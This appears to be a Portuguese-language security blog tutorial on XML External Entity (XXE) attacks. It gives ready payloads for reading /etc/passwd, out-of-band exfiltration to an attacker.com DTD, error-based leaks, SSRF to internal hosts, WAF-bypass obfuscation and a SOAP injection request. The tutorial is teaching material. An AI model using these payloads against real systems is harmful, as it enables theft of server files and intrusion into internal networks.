Introdução
A vulnerabilidade XML External Entity (XXE) surge da forma como os parsers XML processam documentos que contêm referências a entidades externas. Essencialmente, um parser XML mal configurado pode ser coagido a processar conteúdo externo, abrindo portas para uma gama de operações arbitrárias, desde a leitura de arquivos locais até a execução de requisições de rede.
É crucial entender que a funcionalidade de importação de XML não se restringe apenas a sistemas que explicitamente manipulam arquivos XML para preenchimento de dados, como em sistemas de planilhas ou gestão. Sua presença é ubíqua, manifestando-se em cenários aparentemente benignos como autenticações baseadas em SAML, onde o SAMLResponse
é um vetor potencial. Futuramente, teremos um post aprofundado, o grupo VIP ja possui um vídeo exclusivodemonstrando ataques XXE no contexto SAML.
A diversidade dos ataques XXE pode ser categorizada pela forma como as entidades externas são definidas e exploradas:
Os payloads básicos, ou “in-band”, são os mais diretos. Eles exploram a capacidade do parser de referenciar arquivos locais ou URLs diretamente, exibindo o conteúdo dentro da resposta da aplicação.
-
Conceito Avançado: A exploração ocorre quando a aplicação retorna de forma síncrona o conteúdo da entidade externa no corpo da resposta HTTP, indicando uma falha na sanitização da saída ou na restrição de resolução de entidades.
-
Exemplo:
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <foo>&xxe;</foo>
Consideração Crítica: É importante notar que, embora o arquivo seja lido, seu conteúdo precisa ser sintaticamente válido para ser inserido no contexto XML sem quebrar o parseamento. Se o conteúdo lido (como um arquivo binário ou
/etc/passwd
com caracteres especiais) não puder ser embutido como parte de um nó XML, o parser pode falhar e retornar um erro, ou simplesmente ignorar a entidade sem exibir nada. Este é um dos motivos pelos quais muitas vezes técnicas mais avançadas, como a exfiltração OOB ou a indução de erros com DTDs internos, são empregadas para contornar essa limitação sintática.
Quando a aplicação não retorna o conteúdo de entidades externas diretamente, mas permite que o parser faça requisições a um servidor controlado pelo atacante, estamos diante de um XXE out-of-band. Isso é crucial para exfiltração de dados em cenários “blind”.
- Conceito Avançado: Utiliza canais secundários (geralmente HTTP ou FTP) para comunicar informações extraídas, contornando a ausência de um canal de retorno direto na resposta da aplicação. Requer um servidor externo para receber as informações.
- Exemplo:
(O
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY % payload SYSTEM "http://attacker.com/evil.dtd"> %payload; ]> <foo>&exfil;</foo>
evil.dtd
conteria a lógica de exfiltração, como<!ENTITY exfil SYSTEM "http://attacker.com/?data=%file_content;">
)
Esta é uma subcategoria do OOB, focada especificamente na extração de dados sensíveis para um endpoint controlado pelo atacante.
- Conceito Avançado: Emprega técnicas como a parametrização de URLs para codificar dados sensíveis (
file:///etc/passwd
) e enviá-los em requisições HTTP/FTP para um servidor externo, muitas vezes com a ajuda de DTDs externos para construir a string de exfiltração. - Exemplo (com DTD externo):
evil.dtd
:Payload XML:<!ENTITY % send SYSTEM "http://attacker.com/?data=%file_contents;"> <!ENTITY % file_contents SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> %send;
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd"> %dtd; ]> <foo/>
A capacidade de importar DTDs externos pode ser usada para encapsular a lógica de ataque, muitas vezes permitindo que a requisição inicial para o DTD externo passe por filtros que inspecionariam apenas o payload XML principal.
- Conceito Avançado: A segmentação do ataque em um DTD externo pode fragmentar o “signature” do payload, permitindo que a requisição de download do DTD passe por WAFs ou IPS/IDS que não analisam o conteúdo do DTD em tempo real. Além disso, pode ser usado para encadear múltiplas operações complexas.
- Exemplo: O payload XML original referencia um DTD remoto, que por sua vez contém a lógica maliciosa. A requisição inicial pode ser menos “suspeita”.
Em cenários onde a importação de DTDs externos é restrita, é possível usar DTDs internos combinados com entidades de parâmetro para construir payloads complexos, incluindo a exfiltração de dados.
- Conceito Avançado: Utiliza a capacidade do DTD de definir entidades de parâmetro (
%entity_name;
) que podem ser referenciadas em outros locais do DTD. Isso permite a construção de cadeias de ataque multi-estágio inteiramente dentro do XML enviado, crucial em ambientes com restrições de rede outbound. Frequentemente, essa técnica é empregada para forçar erros de parseamento, onde a mensagem de erro resultante revela o conteúdo de um arquivo que não pôde ser inserido diretamente na estrutura XML, como no exemplo a seguir:Neste exemplo, a entidade<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent'>"> %eval; %file; ]> <foo/>
%file
tenta carregar/etc/passwd
. Se o conteúdo do/etc/passwd
quebrar a sintaxe XML, o parser pode gerar um erro que inclui partes do arquivo, revelando-o ao atacante.
A versatilidade do XXE se estende a outras vulnerabilidades. Por exemplo, um XXE pode ser utilizado como um vetor para Server-Side Request Forgery (SSRF). A capacidade de um parser XML resolver entidades SYSTEM para URLs arbitrárias significa que o servidor vulnerável pode ser forçado a fazer requisições HTTP para recursos internos ou externos.
-
Conceito Avançado: O parser XML atua como um proxy para o atacante, permitindo a exploração de serviços internos da rede que não são acessíveis diretamente da internet ou a interação com serviços externos.
-
Exemplo:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://10.0.1.55"> ]> <foo>&xxe;</foo>
Neste caso, a aplicação, ao processar o XML, fará uma requisição HTTP para
http://10.0.1.55
. Se10.0.1.55
for um host interno na rede da aplicação, isso pode levar à descoberta de portas, serviços internos ou até mesmo a interação com APIs internas.
Muitas vezes, sistemas de segurança como Web Application Firewalls (WAFs) ou IPS/IDS são configurados para bloquear payloads XXE detectando palavras-chave específicas, como SYSTEM
e PUBLIC
, ou o próprio <!DOCTYPE
. No entanto, essas mitigações podem ser contornadas.
- Bypass via Charsets: A especificação XML permite diferentes codificações de caracteres. Se um WAF inspeciona apenas payloads ASCII ou UTF-8 padrão, a utilização de um charset menos comum, como UTF-16, UTF-7, ou até mesmo a codificação de caracteres individuais em entidades numéricas (e.g.,
SYSTEM
paraSYSTEM
), pode permitir que o payload malicioso passe despercebido.- Exemplo de Payload com Charset Diferente:
<?xml version="1.0" encoding="UTF-16"?> <root> <data> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <foo>&xxe;</foo> </data> </root>
- Exemplo de Obfuscação com Entidades Numéricas:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <foo>&xxe;</foo>
- Exemplo de Payload com Charset Diferente:
Serviços web baseados em SOAP são particularmente suscetíveis a XXE, pois as requisições SOAP são, por natureza, documentos XML. Um cenário comum envolve uma aplicação backend que espera um corpo de requisição com envelope SOAP. A injeção de XXE ocorre dentro do SOAP-ENV:Body
.
-
Conceito Avançado: A exploração requer que o atacante construa um envelope SOAP válido que, além das operações legítimas, inclua a declaração
DOCTYPE
com as entidades externas maliciosas. -
Exemplo de Requisição SOAP com XXE:
POST /soap/endpoint HTTP/1.1 Host: example.com Content-Type: text/xml; charset=utf-8 Content-Length: [length_of_body] SOAPAction: "http://example.com/Service/GetUserInfo" <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://example.com/WebService"> <soapenv:Header/> <soapenv:Body> <web:GetUserInfo> <web:userId>&xxe;</web:userId> </web:GetUserInfo> </soapenv:Body> </soapenv:Envelope>
Neste cenário, a aplicação SOAP processará o XML, e a entidade
&xxe;
será resolvida para o conteúdo de/etc/passwd
, que então será inserido no campouserId
da requisição. Dependendo da lógica da aplicação e do retorno, o conteúdo do arquivo pode ser revelado na resposta SOAP.
A compreensão profunda desses mecanismos e de suas variações é fundamental para qualquer profissional de segurança que lida com aplicações que processam XML. A superfície de ataque é vasta e as implicações podem ser severas. Fique espero =)